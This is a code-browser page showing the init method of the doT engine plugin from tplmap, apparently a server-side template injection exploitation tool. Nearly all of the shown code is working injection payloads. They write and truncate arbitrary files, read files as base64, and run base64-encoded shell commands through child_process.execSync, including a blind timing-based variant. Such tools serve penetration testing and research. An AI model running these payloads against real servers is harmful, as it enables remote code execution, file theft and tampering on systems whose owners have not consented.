MCPcopy
hub / github.com/epinna/tplmap / init

Method init

plugins/engines/dot.py:10–52  ·  view source on GitHub ↗
(self)

Source from the content-addressed store, hash-verified

8class Dot(javascript.Javascript):
9
10 def init(self):
11
12 self.update_actions({
13 'render' : {
14 'render': '{{=%(code)s}}',
15 'header': '{{=%(header)s}}',
16 'trailer': '{{=%(trailer)s}}'
17 },
18 'write' : {
19 'call' : 'inject',
20 'write' : """{{=global.process.mainModule.require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')}}""",
21 'truncate' : """{{=global.process.mainModule.require('fs').writeFileSync('%(path)s', '')}}"""
22 },
23 'read' : {
24 'call': 'evaluate',
25 'read' : """global.process.mainModule.require('fs').readFileSync('%(path)s').toString('base64');"""
26 },
27 'md5' : {
28 'call': 'evaluate',
29 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('%(path)s')).digest("hex");"""
30 },
31 'evaluate' : {
32 'test_os': """global.process.mainModule.require('os').platform()""",
33 },
34 'execute' : {
35 'call': 'evaluate',
36 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString());"""
37 },
38 'execute_blind' : {
39 # The bogus prefix is to avoid false detection of Javascript instead of doT
40 'call': 'inject',
41 'execute_blind': """{{=''}}{{global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i');}}"""
42 },
43 })
44
45 self.set_contexts([
46
47 # Text context, no closures
48 { 'level': 0 },
49
50 { 'level': 1, 'prefix': '%(closure)s;}}', 'suffix' : '{{1;', 'closures' : javascript.ctx_closures },
51
52 ])
53

Callers

nothing calls this directly

Calls 2

update_actionsMethod · 0.80
set_contextsMethod · 0.80

Tested by

no test coverage detected